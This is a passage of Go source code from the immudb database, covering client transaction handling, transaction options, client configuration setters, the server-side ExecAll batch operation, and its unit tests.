string, params map[string]interface{}) (SQLQueryRowReader, error) } type tx struct { ic *immuClient transactionID string } func (c *tx) Commit(ctx context.Context) (*schema.CommittedSQLTx, error) { cmtx, err := c.ic.ServiceClient.Commit(c.populateCtx(ctx), new(empty.Empty)) return cmtx, errors.FromError(err) } func (c *tx) Rollback(ctx context.Context) error { _, err := c.ic.ServiceClient.Rollback(c.populateCtx(ctx), new(empty.Empty)) return errors.FromError(err) } func (c *immuClient) NewTx(ctx context.Context, opts ...TxOption) (Tx, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } req := &schema.NewTxRequest{ Mode: schema.TxMode_ReadWrite, } for _, opt := range opts { err := opt(req) if err != nil { return nil, err } } r, err := c.ServiceClient.NewTx(ctx, req) if err != nil { return nil, errors.FromError(err) } tx := &tx{ ic: c, transactionID: r.TransactionID, } return tx, nil } func (c *tx) SQLExec(ctx context.Context, sql string, params map[string]interface{}) error { namedParams, err := schema.EncodeParams(params) if err != nil { return errors.FromError(err) } _, err = c.ic.ServiceClient.TxSQLExec(c.populateCtx(ctx), &schema.SQLExecRequest{ Sql: sql, Params: namedParams, }) return errors.FromError(err) } func (c *tx) SQLQuery(ctx context.Context, sql string, params map[string]interface{}) (*schema.SQLQueryResult, error) { stream, err := c.sqlQuery(ctx, sql, params, false) if err != nil { return nil, err } res, err := stream.Recv() if err != nil { return nil, errors.FromError(err) } if _, err := stream.Recv(); err != io.EOF { return res, errors.FromError(err) } return res, nil } func (c *tx) SQLQueryReader(ctx context.Context, sql string, params map[string]interface{}) (SQLQueryRowReader, error) { stream, err := c.sqlQuery(ctx, sql, params, true) if err != nil { return nil, err } return newSQLQueryRowReader(stream) } func (c *tx) sqlQuery(ctx context.Context, sql string, params map[string]interface{}, acceptStream bool) (schema.ImmuService_TxSQLQueryClient, error) { namedParams, err := schema.EncodeParams(params) if err != nil { return nil, errors.FromError(err) } stream, err := c.ic.ServiceClient.TxSQLQuery(c.populateCtx(ctx), &schema.SQLQueryRequest{ Sql: sql, Params: namedParams, AcceptStream: acceptStream, }) return stream, errors.FromError(err) } func (c *tx) GetTransactionID() string { return c.transactionID } func (tx *tx) populateCtx(ctx context.Context) context.Context { if tx.GetTransactionID() != "" { ctx = metadata.AppendToOutgoingContext(ctx, "transactionid", tx.GetTransactionID()) } return ctx } ================================================ FILE: pkg/client/tx_options.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package client import ( "time" "github.com/codenotary/immudb/pkg/api/schema" ) // TxOption is used to set additional options when creating a transaction with a NewTx call type TxOption func(req *schema.NewTxRequest) error // UnsafeMVCC option means the server is not forced to wait for the indexer // to be up-to-date with the most recent transaction during conflict detection. // // In practice this means that the user will get the result faster with the // risk of inconsistencies if another transaction invalidated the data read by this transaction. // // This option may be useful when it's guaranteed that related data is not concurrently // written. func UnsafeMVCC() TxOption { return func(req *schema.NewTxRequest) error { req.UnsafeMVCC = true return nil } } // An existing snapshot may be reused as long as it includes the specified transaction func SnapshotMustIncludeTxID(txID uint64) TxOption { return func(req *schema.NewTxRequest) error { req.SnapshotMustIncludeTxID = &schema.NullableUint64{Value: txID} return nil } } // An existing snapshot may be reused as long as it is not older than the specified timeframe func SnapshotRenewalPeriod(renewalPeriod time.Duration) TxOption { return func(req *schema.NewTxRequest) error { req.SnapshotRenewalPeriod = &schema.NullableMilliseconds{Value: renewalPeriod.Milliseconds()} return nil } } ================================================ FILE: pkg/client/types.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package client import ( "crypto/ecdsa" "github.com/codenotary/immudb/pkg/client/tokenservice" "github.com/codenotary/immudb/pkg/stream" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client/state" "google.golang.org/grpc" ) // WithLogger sets up custom client logger. func (c *immuClient) WithLogger(logger logger.Logger) *immuClient { c.Logger = logger return c } // WithStateService sets up the StateService object. func (c *immuClient) WithStateService(rs state.StateService) *immuClient { c.StateService = rs return c } // Deprecated: will be removed in future versions. func (c *immuClient) WithClientConn(clientConn *grpc.ClientConn) *immuClient { c.clientConn = clientConn return c } // Deprecated: will be removed in future versions. func (c *immuClient) WithServiceClient(serviceClient schema.ImmuServiceClient) *immuClient { c.ServiceClient = serviceClient return c } // Deprecated: will be removed in future versions. func (c *immuClient) WithTokenService(tokenService tokenservice.TokenService) *immuClient { c.Tkns = tokenService return c } // WithServerSigningPubKey sets up public key for server's state validation. func (c *immuClient) WithServerSigningPubKey(publicKey *ecdsa.PublicKey) *immuClient { c.serverSigningPubKey = publicKey return c } // WithStreamServiceFactory sets up stream factory for the client. func (c *immuClient) WithStreamServiceFactory(ssf stream.ServiceFactory) *immuClient { c.StreamServiceFactory = ssf return c } // WithOptions sets up client options for the instance. func (c *immuClient) WithOptions(options *Options) *immuClient { c.Options = options return c } func (c *immuClient) WithErrorHandler(handler ErrorHandler) *immuClient { c.errorHandler = handler return c } ================================================ FILE: pkg/client/types_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package client import ( "testing" "github.com/codenotary/immudb/pkg/stream" ) func TestWithStreamServiceFactory(t *testing.T) { s := NewClient() s.WithStreamServiceFactory(stream.NewStreamServiceFactory(4096)) } ================================================ FILE: pkg/database/all_ops.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import ( "context" "crypto/sha256" "fmt" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" ) // ExecAll like Set it permits many insertions at once. // The difference is that is possible to to specify a list of a mix of key value set and zAdd insertions. // If zAdd reference is not yet present on disk it's possible to add it as a regular key value and the reference is done onFly func (d *db) ExecAll(ctx context.Context, req *schema.ExecAllRequest) (*schema.TxHeader, error) { if req == nil { return nil, store.ErrIllegalArguments } if err := req.Validate(); err != nil { return nil, err } d.mutex.Lock() defer d.mutex.Unlock() if d.isReplica() { return nil, ErrIsReplica } if !req.NoWait { lastTxID, _ := d.st.CommittedAlh() err := d.st.WaitForIndexingUpto(ctx, lastTxID) if err != nil { return nil, err } } callback := func(txID uint64, index store.KeyIndex) ([]*store.EntrySpec, []store.Precondition, error) { entries := make([]*store.EntrySpec, len(req.Operations)) // In order to: // * make a memory efficient check system for keys that need to be referenced // * store the index of the future persisted zAdd referenced entries // we build a map in which we store sha256 sum as key and the index as value kmap := make(map[[sha256.Size]byte]bool) for i, op := range req.Operations { e := &store.EntrySpec{} switch x := op.Operation.(type) { case *schema.Op_Kv: kmap[sha256.Sum256(x.Kv.Key)] = true if len(x.Kv.Key) == 0 { return nil, nil, store.ErrIllegalArguments } e = EncodeEntrySpec( x.Kv.Key, schema.KVMetadataFromProto(x.Kv.Metadata), x.Kv.Value, ) case *schema.Op_Ref: if len(x.Ref.Key) == 0 || len(x.Ref.ReferencedKey) == 0 { return nil, nil, store.ErrIllegalArguments } if x.Ref.AtTx > 0 && !x.Ref.BoundRef { return nil, nil, store.ErrIllegalArguments } if req.NoWait && (x.Ref.AtTx != 0 || !x.Ref.BoundRef) { return nil, nil, fmt.Errorf( "%w: can only set references to keys added within same transaction, please use bound references with AtTx set to 0", ErrNoWaitOperationMustBeSelfContained) } _, exists := kmap[sha256.Sum256(x.Ref.ReferencedKey)] if req.NoWait && !exists { return nil, nil, fmt.Errorf("%w: can not create a reference to a key that was not set in the same transaction", ErrNoWaitOperationMustBeSelfContained) } if !req.NoWait { // check key does not exists or it's already a reference entry, err := d.getAtTx(ctx, EncodeKey(x.Ref.Key), 0, 0, index, 0, true) if err != nil && err != store.ErrKeyNotFound { return nil, nil, err } if entry != nil && entry.ReferencedBy == nil { return nil, nil, ErrFinalKeyCannotBeConvertedIntoReference } if !exists || x.Ref.AtTx > 0 { // check referenced key exists and it's not a reference refEntry, err := d.getAtTx(ctx, EncodeKey(x.Ref.ReferencedKey), x.Ref.AtTx, 0, index, 0, true) if err != nil { return nil, nil, err } if refEntry.ReferencedBy != nil { return nil, nil, ErrReferencedKeyCannotBeAReference } } } // reference arguments are converted in regular key value items and then atomically inserted if x.Ref.BoundRef && x.Ref.AtTx == 0 { e = EncodeReference( x.Ref.Key, nil, x.Ref.ReferencedKey, txID, ) } else { e = EncodeReference( x.Ref.Key, nil, x.Ref.ReferencedKey, x.Ref.AtTx, ) } case *schema.Op_ZAdd: if len(x.ZAdd.Set) == 0 || len(x.ZAdd.Key) == 0 { return nil, nil, store.ErrIllegalArguments } if x.ZAdd.AtTx > 0 && !x.ZAdd.BoundRef { return nil, nil, store.ErrIllegalArguments } if req.NoWait && (x.ZAdd.AtTx != 0 || !x.ZAdd.BoundRef) { return nil, nil, fmt.Errorf( "%w: can only set references to keys added within same transaction, please use bound references with AtTx set to 0", ErrNoWaitOperationMustBeSelfContained) } _, exists := kmap[sha256.Sum256(x.ZAdd.Key)] if req.NoWait && !exists { return nil, nil, fmt.Errorf("%w: can not create a reference into a set for a key that was not set in the same transaction", ErrNoWaitOperationMustBeSelfContained) } if !req.NoWait { if !exists || x.ZAdd.AtTx > 0 { // check referenced key exists and it's not a reference refEntry, err := d.getAtTx(ctx, EncodeKey(x.ZAdd.Key), x.ZAdd.AtTx, 0, index, 0, true) if err != nil { return nil, nil, err } if refEntry.ReferencedBy != nil { return nil, nil, ErrReferencedKeyCannotBeAReference } } } // zAdd arguments are converted in regular key value items and then atomically inserted key := EncodeKey(x.ZAdd.Key) if x.ZAdd.BoundRef && x.ZAdd.AtTx == 0 { e = EncodeZAdd(x.ZAdd.Set, x.ZAdd.Score, key, txID) } else { e = EncodeZAdd(x.ZAdd.Set, x.ZAdd.Score, key, x.ZAdd.AtTx) } } entries[i] = e } preconditions := make([]store.Precondition, len(req.Preconditions)) for i := 0; i < len(req.Preconditions); i++ { c, err := PreconditionFromProto(req.Preconditions[i]) if err != nil { return nil, nil, err } preconditions[i] = c } return entries, preconditions, nil } hdr, err := d.st.CommitWith(ctx, callback, !req.NoWait) if err != nil { return nil, err } return schema.TxHeaderToProto(hdr), nil } ================================================ FILE: pkg/database/all_ops_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import ( "context" "errors" "fmt" "math/rand" "strconv" "strings" "sync" "testing" "time" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/embedded/tbtree" "github.com/codenotary/immudb/pkg/api/schema" "github.com/stretchr/testify/require" ) func compactIndex(db DB, timeout time.Duration) error { done := make(chan error) go func(done chan<- error) { err := db.CompactIndex() done <- err }(done) select { case err := <-done: { return err } case <-time.After(timeout): { return errors.New("compact index timed out") } } } func execAll(db DB, ctx context.Context, req *schema.ExecAllRequest, timeout time.Duration) error { done := make(chan error) go func(done chan<- error) { _, err := db.ExecAll(ctx, req) done <- err }(done) select { case err := <-done: { return err } case <-time.After(timeout): { return errors.New("execAll timed out") } } } func TestConcurrentCompactIndex(t *testing.T) { db := makeDb(t) done := make(chan struct{}) ack := make(chan struct{}) cleanUpFreq := 2 * time.Second cleanUpTimeout := 3 * time.Second execAllTimeout := 5 * time.Second go func(ticker *time.Ticker, done <-chan struct{}, ack chan<- struct{}) { for { select { case <-done: { ack <- struct{}{} return } case <-ticker.C: { err := compactIndex(db, cleanUpTimeout) if !errors.Is(err, sql.ErrAlreadyClosed) && !errors.Is(err, tbtree.ErrCompactionThresholdNotReached) { require.NoError(t, err) } } } } }(time.NewTicker(cleanUpFreq), done, ack) txCount := 10 txSize := 32 for i := 0; i < txCount; i++ { kvs := make([]*schema.Op, txSize) for j := 0; j < txSize; j++ { key := make([]byte, 32) rand.Read(key) kvs[j] = &schema.Op{ Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ Key: key, Value: []byte{}, }, }, } } err := execAll(db, context.Background(), &schema.ExecAllRequest{Operations: kvs}, execAllTimeout) require.NoError(t, err) } time.Sleep(4 * time.Second) done <- struct{}{} <-ack } func TestSetBatch(t *testing.T) { db := makeDb(t) batchSize := 100 for b := 0; b < 10; b++ { kvList := make([]*schema.KeyValue, batchSize) for i := 0; i < batchSize; i++ { key := []byte(strconv.FormatUint(uint64(i), 10)) value := []byte(strconv.FormatUint(uint64(b*batchSize+batchSize+i), 10)) kvList[i] = &schema.KeyValue{ Key: key, Value: value, } } txhdr, err := db.Set(context.Background(), &schema.SetRequest{KVs: kvList}) require.NoError(t, err) require.Equal(t, uint64(b+1), txhdr.Id) for i := 0; i < batchSize; i++ { key := []byte(strconv.FormatUint(uint64(i), 10)) value := []byte(strconv.FormatUint(uint64(b*batchSize+batchSize+i), 10)) entry, err := db.Get(context.Background(), &schema.KeyRequest{Key: key, SinceTx: txhdr.Id}) require.NoError(t, err) require.Equal(t, value, entry.Value) require.Equal(t, uint64(b+1), entry.Tx) vitem, err := db.VerifiableGet(context.Background(), &schema.VerifiableGetRequest{KeyRequest: &schema.KeyRequest{Key: key}}) //no prev root require.NoError(t, err) require.Equal(t, key, vitem.Entry.Key) require.Equal(t, value, vitem.Entry.Value) require.Equal(t, entry.Tx, vitem.Entry.Tx) tx := schema.TxFromProto(vitem.VerifiableTx.Tx) entrySpec := EncodeEntrySpec(vitem.Entry.Key, schema.KVMetadataFromProto(vitem.Entry.Metadata), vitem.Entry.Value) entrySpecDigest, err := store.EntrySpecDigestFor(int(txhdr.Version)) require.NoError(t, err) require.NotNil(t, entrySpecDigest) inclusionProof := schema.InclusionProofFromProto(vitem.InclusionProof) verifies := store.VerifyInclusion( inclusionProof, entrySpecDigest(entrySpec), tx.Header().Eh, ) require.True(t, verifies) } } } func TestSetBatchInvalidKvKey(t *testing.T) { db := makeDb(t) _, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: []byte{}, Value: []byte(`val`), }, }}) require.ErrorIs(t, err, store.ErrIllegalArguments) } func TestSetBatchDuplicatedKey(t *testing.T) { db := makeDb(t) _, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: []byte(`key`), Value: []byte(`val`), }, { Key: []byte(`key`), Value: []byte(`val`), }, }}, ) require.ErrorIs(t, err, schema.ErrDuplicatedKeysNotSupported) } func TestExecAllOps(t *testing.T) { db := makeDb(t) _, err := db.ExecAll(context.Background(), nil) require.ErrorIs(t, store.ErrIllegalArguments, err) _, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{}) require.ErrorIs(t, err, schema.ErrEmptySet) _, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{Operations: []*schema.Op{}}) require.ErrorIs(t, err, schema.ErrEmptySet) _, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{ nil, }, }) require.ErrorContains(t, err, "Op is not set") batchCount := 10 batchSize := 100 for b := 0; b < batchCount; b++ { atomicOps := make([]*schema.Op, batchSize*2) for i := 0; i < batchSize; i++ { key := []byte(strconv.FormatUint(uint64(i), 10)) value := []byte(strconv.FormatUint(uint64(b*batchSize+batchSize+i), 10)) atomicOps[i] = &schema.Op{ Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ Key: key, Value: value, }, }, } } for i := 0; i < batchSize; i++ { atomicOps[i+batchSize] = &schema.Op{ Operation: &schema.Op_ZAdd{ ZAdd: &schema.ZAddRequest{ Set: []byte(`mySet`), Score: 0.6, Key: atomicOps[i].Operation.(*schema.Op_Kv).Kv.Key, BoundRef: true, }, }, } } idx, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{Operations: atomicOps}) require.NoError(t, err) require.Equal(t, uint64(b+1), idx.Id) } zScanOpt := &schema.ZScanRequest{ Set: []byte(`mySet`), } zList, err := db.ZScan(context.Background(), zScanOpt) require.NoError(t, err) println(len(zList.Entries)) require.Len(t, zList.Entries, batchCount*batchSize) } func TestExecAllOpsZAddOnMixedAlreadyPersitedNotPersistedItems(t *testing.T) { db := makeDb(t) idx, _ := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: []byte(`persistedKey`), Value: []byte(`persistedVal`), }, }, }) // Ops payload aOps := &schema.ExecAllRequest{ Operations: []*schema.Op{ { Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ Key: []byte(`notPersistedKey`), Value: []byte(`notPersistedVal`), }, }, }, { Operation: &schema.Op_ZAdd{ ZAdd: &schema.ZAddRequest{ Set: []byte(`mySet`), Score: 0.6, Key: []byte(`notPersistedKey`), }, }, }, { Operation: &schema.Op_ZAdd{ ZAdd: &schema.ZAddRequest{ Set: []byte(`mySet`), Score: 0.6, Key: []byte(`persistedKey`), AtTx: idx.Id, BoundRef: true, }, }, }, }, } index, err := db.ExecAll(context.Background(), aOps) require.NoError(t, err) require.Equal(t, uint64(2), index.Id) list, err := db.ZScan(context.Background(), &schema.ZScanRequest{ Set: []byte(`mySet`), SinceTx: index.Id, }) require.NoError(t, err) require.Equal(t, []byte(`persistedKey`), list.Entries[0].Key) require.Equal(t, []byte(`notPersistedKey`), list.Entries[1].Key) } func TestExecAllOpsEmptyList(t *testing.T) { db := makeDb(t) aOps := &schema.ExecAllRequest{ Operations: []*schema.Op{}, } _, err := db.ExecAll(context.Background(), aOps) require.ErrorIs(t, err, schema.ErrEmptySet) } func TestExecAllOpsInvalidKvKey(t *testing.T) { db := makeDb(t) aOps := &schema.ExecAllRequest{ Operations: []*schema.Op{ { Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ Key: []byte{}, Value: []byte(`val`), }, }, }, }, } _, err := db.ExecAll(context.Background(), aOps) require.ErrorIs(t, err, store.ErrIllegalArguments) aOps = &schema.ExecAllRequest{ Operations: []*schema.Op{ { Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ Key: []byte("key"), Value: []byte("val"), }, }, }, { Operation: &schema.Op_Ref{ Ref: &schema.ReferenceRequest{ Key: []byte("rkey"), ReferencedKey: []byte("key"), AtTx: 1, BoundRef: false, }, }, }, }, } _, err = db.ExecAll(context.Background(), aOps) require.ErrorIs(t, err, store.ErrIllegalArguments) aOps = &schema.ExecAllRequest{ Operations: []*schema.Op{ { Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ Key: []byte("key"), Value: []byte("val"), }, }, }, { Operation: &schema.Op_Ref{ Ref: &schema.ReferenceRequest{ Key: []byte("rkey"), ReferencedKey: []byte("key"), BoundRef: true, }, }, }, }, } _, err = db.ExecAll(context.Background(), aOps) require.NoError(t, err) // Ops payload aOps = &schema.ExecAllRequest{ Operations: []*schema.Op{ { Operation: &schema.Op_ZAdd{ ZAdd: &schema.ZAddRequest{ Set: []byte(`mySet`), Score: 0.6, Key: []byte(`rkey`), }, }, }, }, } _, err = db.ExecAll(context.Background(), aOps) require.ErrorIs(t, err, ErrReferencedKeyCannotBeAReference) } func TestExecAllOpsZAddKeyNotFound(t *testing.T) { db := makeDb(t) aOps := &schema.ExecAllRequest{ Operations: []*schema.Op{ { Operation: &schema.Op_ZAdd{ ZAdd: &schema.ZAddRequest{ Set: []byte("set"), Key: []byte(`key`), Score: 5.6, AtTx: 4, BoundRef: true, }, }, }, }, } _, err := db.ExecAll(context.Background(), aOps) require.ErrorIs(t, err, store.ErrTxNotFound) } func TestExecAllOpsNilElementFound(t *testing.T) { db := makeDb(t) bOps := make([]*schema.Op, 1) bOps[0] = &schema.Op{ Operation: &schema.Op_ZAdd{ ZAdd: &schema.ZAddRequest{ Key: []byte(`key`), Score: 5.6, AtTx: 4, }, }, } _, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{Operations: bOps}) require.ErrorIs(t, err, store.ErrIllegalArguments) } func TestSetOperationNilElementFound(t *testing.T) { db := makeDb(t) aOps := &schema.ExecAllRequest{ Operations: []*schema.Op{ { Operation: nil, }, }, } _, err := db.ExecAll(context.Background(), aOps) require.ErrorContains(t, err, "operation is not set") } func TestExecAllOpsUnexpectedType(t *testing.T) { db := makeDb(t) aOps := &schema.ExecAllRequest{ Operations: []*schema.Op{ { Operation: &schema.Op_Unexpected{}, }, }, } _, err := db.ExecAll(context.Background(), aOps) require.ErrorContains(t, err, "unexpected type") } func TestExecAllOpsDuplicatedKey(t *testing.T) { db := makeDb(t) aOps := &schema.ExecAllRequest{ Operations: []*schema.Op{ { Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ Key: []byte(`key`), Value: []byte(`val`), }, }, }, { Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ Key: []byte(`key`), Value: []byte(`val`), }, }, }, { Operation: &schema.Op_ZAdd{ ZAdd: &schema.ZAddRequest{ Set: []byte(`set`), Key: []byte(`key`), Score: 5.6, }, }, }, }, } _, err := db.ExecAll(context.Background(), aOps) require.ErrorIs(t, err, schema.ErrDuplicatedKeysNotSupported) } func TestExecAllOpsDuplicatedKeyZAdd(t *testing.T) { db := makeDb(t) aOps := &schema.ExecAllRequest{ Operations: []*schema.Op{ { Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ Key: []byte(`key`), Value: []byte(`val`), }, }, }, { Operation: &schema.Op_ZAdd{ ZAdd: &schema.ZAddRequest{ Key: []byte(`key`), Score: 5.6, }, }, }, { Operation: &schema.Op_ZAdd{ ZAdd: &schema.ZAddRequest{ Key: []byte(`key`), Score: 5.6, }, }, }, }, } _, err := db.ExecAll(context.Background(), aOps) require.ErrorIs(t, err, schema.ErrDuplicatedZAddNotSupported) } func TestStore_ExecAllOpsConcurrent(t *testing.T) { db := makeDb(t) wg := sync.WaitGroup{} wg.Add(10) for i := 1; i <= 10; i++ { aOps := &schema.ExecAllRequest{ Operations: []*schema.Op{}, } for j := 1; j <= 10; j++ { key := strconv.FormatUint(uint64(j), 10) val := strconv.FormatUint(uint64(i), 10) aOp := &schema.Op{ Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ Key: []byte(key), Value: []byte(key), }, }, } aOps.Operations = append(aOps.Operations, aOp) float, err := strconv.ParseFloat(fmt.Sprintf("%d", j), 64) require.NoError(t, err) set := val refKey := key aOp = &schema.Op{ Operation: &schema.Op_ZAdd{ ZAdd: &schema.ZAddRequest{ Set: []byte(set), Key: []byte(refKey), Score: float, }, }, } aOps.Operations = append(aOps.Operations, aOp) } go func() { idx, err := db.ExecAll(context.Background(), aOps) require.NoError(t, err) require.NotNil(t, idx) wg.Done() }() } wg.Wait() if t.Failed() { t.FailNow() } for i := 1; i <= 10; i++ { set := strconv.FormatUint(uint64(i), 10) zList, err := db.ZScan(context.Background(), &schema.ZScanRequest{ Set: []byte(set), SinceTx: 10, }) require.NoError(t, err) require.Len(t, zList.Entries, 10) require.Equal(t, zList.Entries[i-1].Entry.Value, []byte(strconv.FormatUint(uint64(i), 10))) } } func TestExecAllNoWait(t *testing.T) { db := makeDb(t) t.Run("ExecAll with NoWait should be self-contained", func(t *testing.T) { aOps := &schema.ExecAllRequest{ Operations: []*schema.Op{ { Operation: &schema.Op_Ref{ Ref: &schema.ReferenceRequest{ Key: []byte(`ref`), ReferencedKey: []byte(`key`), }, }, }, }, NoWait: true, } _, err := db.ExecAll(context.Background(), aOps) require.ErrorIs(t, err, store.ErrIllegalArguments) require.ErrorIs(t, err, ErrNoWaitOperationMustBeSelfContained) }) t.Run("ExecAll with NoWait should be self-contained", func(t *testing.T) { aOps := &schema.ExecAllRequest{ Operations: []*schema.Op{ { Operation: &schema.Op_ZAdd{ ZAdd: &schema.ZAddRequest{ Set: []byte("set"), Key: []byte(`key`), Score: 5.6, AtTx: 4, BoundRef: true, }, }, }, }, NoWait: true, } _, err := db.ExecAll(context.Background(), aOps) require.ErrorIs(t, err, store.ErrIllegalArguments) require.ErrorIs(t, err, ErrNoWaitOperationMustBeSelfContained) }) t.Run("ExecAll with NoWait consistent key switching from key into reference", func(t *testing.T) { _, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{ {Key: []byte("key"), Value: []byte("value")}, }, }) require.NoError(t, err) _, err = db.SetReference(context.Background(), &schema.ReferenceRequest{ Key: []byte("ref"), ReferencedKey: []byte("key"), }) require.NoError(t, err) _, err = db.ZAdd(context.Background(), &schema.ZAddRequest{ Set: []byte("set"), Key: []byte("key"), }) require.NoError(t, err) aOps := &schema.ExecAllRequest{ Operations: []*schema.Op{ { Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ Key: []byte(`key1`), Value: []byte(`value1`), }, }, }, { Operation: &schema.Op_Ref{ Ref: &schema.ReferenceRequest{ Key: []byte(`key`), ReferencedKey: []byte(`key1`), BoundRef: true, }, }, }, }, NoWait: true, } hdr, err := db.ExecAll(context.Background(), aOps) require.NoError(t, err) entry, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte("key"), SinceTx: hdr.Id}) require.NoError(t, err) require.NotNil(t, entry) require.Equal(t, []byte(`key1`), entry.Key) require.Equal(t, []byte(`value1`), entry.Value) require.NotNil(t, entry.ReferencedBy) require.Equal(t, []byte(`key`), entry.ReferencedBy.Key) require.Equal(t, hdr.Id, entry.ReferencedBy.Tx) // ref became a reference of a reference _, err = db.Get(context.Background(), &schema.KeyRequest{Key: []byte("ref")}) require.ErrorIs(t, err, ErrKeyResolutionLimitReached) // "key" became a reference _, err = db.ZScan(context.Background(), &schema.ZScanRequest{ Set: []byte("set"), }) require.ErrorIs(t, err, ErrKeyResolutionLimitReached) }) } /* func TestStore_ExecAllOpsConcurrentOnAlreadyPersistedKeys(t *testing.T) { dbDir := tmpDir() st, _ := makeStoreAt(dbDir) for i := 1; i <= 10; i++ { for j := 1; j <= 10; j++ { key := strconv.FormatUint(uint64(j), 10) _, _ = st.Set(context.Background(), schema.KeyValue{ Key: []byte(key), Value: []byte(key), }) } } st.tree.close(true) st.Close() st, closer := makeStoreAt(dbDir) defer closer() st.tree.WaitUntil(99) wg := sync.WaitGroup{} wg.Add(10) gIdx := uint64(0) for i := 1; i <= 10; i++ { aOps := &schema.Ops{ Operations: []*schema.Op{}, } for j := 1; j <= 10; j++ { key := strconv.FormatUint(uint64(j), 10) val := strconv.FormatUint(uint64(i), 10) float, err := strconv.ParseFloat(fmt.Sprintf("%d", j), 64) if err != nil { log.Fatal(err) } set := val refKey := key aOp := &schema.Op{ Operation: &schema.Op_ZOpts{ ZOpts: &schema.ZAddOptions{ Set: []byte(set), Key: []byte(refKey), Score: &schema.Score{ Score: float, }, Index: &schema.Index{Index: gIdx}, }, }, } aOps.Operations = append(aOps.Operations, aOp) gIdx++ } go func() { idx, err := st.ExecAllOps(aOps) require.NoError(t, err) require.NotNil(t, idx) wg.Done() }() } wg.Wait() if t.Failed() { t.FailNow() } for i := 1; i <= 10; i++ { set := strconv.FormatUint(uint64(i), 10) zList, err := st.ZScan(context.Background(), schema.ZScanOptions{ Set: []byte(set), }) require.NoError(t, err) require.Len(t, zList.Items, 10) require.Equal(t, zList.Items[i-1].Item.Value, []byte(strconv.FormatUint(uint64(i), 10))) } } func TestStore_ExecAllOpsConcurrentOnMixedPersistedAndNotKeys(t *testing.T) { // even items are stored on disk with regular sets // odd ones are stored inside batch operations // zAdd references all items dbDir := tmpDir() st, _ := makeStoreAt(dbDir) for i := 1; i <= 10; i++ { for j := 1; j <= 10; j++ { // even if j%2 == 0 { key := strconv.FormatUint(uint64(j), 10) _, _ = st.Set(context.Background(), schema.KeyValue{ Key: []byte(key), Value: []byte(key), }) } } } st.tree.close(true) st.Close() st, closer := makeStoreAt(dbDir) defer closer() st.tree.WaitUntil(49) wg := sync.WaitGroup{} wg.Add(10) gIdx := uint64(0) for i := 1; i <= 10; i++ { aOps := &schema.Ops{ Operations: []*schema.Op{}, } for j := 1; j <= 10; j++ { key := strconv.FormatUint(uint64(j), 10) val := strconv.FormatUint(uint64(i), 10) var index *schema.Index // odd if j%2 != 0 { aOp := &schema.Op{ Operation: &schema.Op_KVs{ KVs: &schema.KeyValue{ Key: []byte(key), Value: []byte(key), }, }, } aOps.Operations = append(aOps.Operations, aOp) index = nil } else { index = &schema.Index{Index: gIdx} gIdx++ } float, err := strconv.ParseFloat(fmt.Sprintf("%d", j), 64) if err != nil { log.Fatal(err) } set := val refKey := key aOp := &schema.Op{ Operation: &schema.Op_ZOpts{ ZOpts: &schema.ZAddOptions{ Set: []byte(set), Key: []byte(refKey), Score: &schema.Score{ Score: float, }, Index: 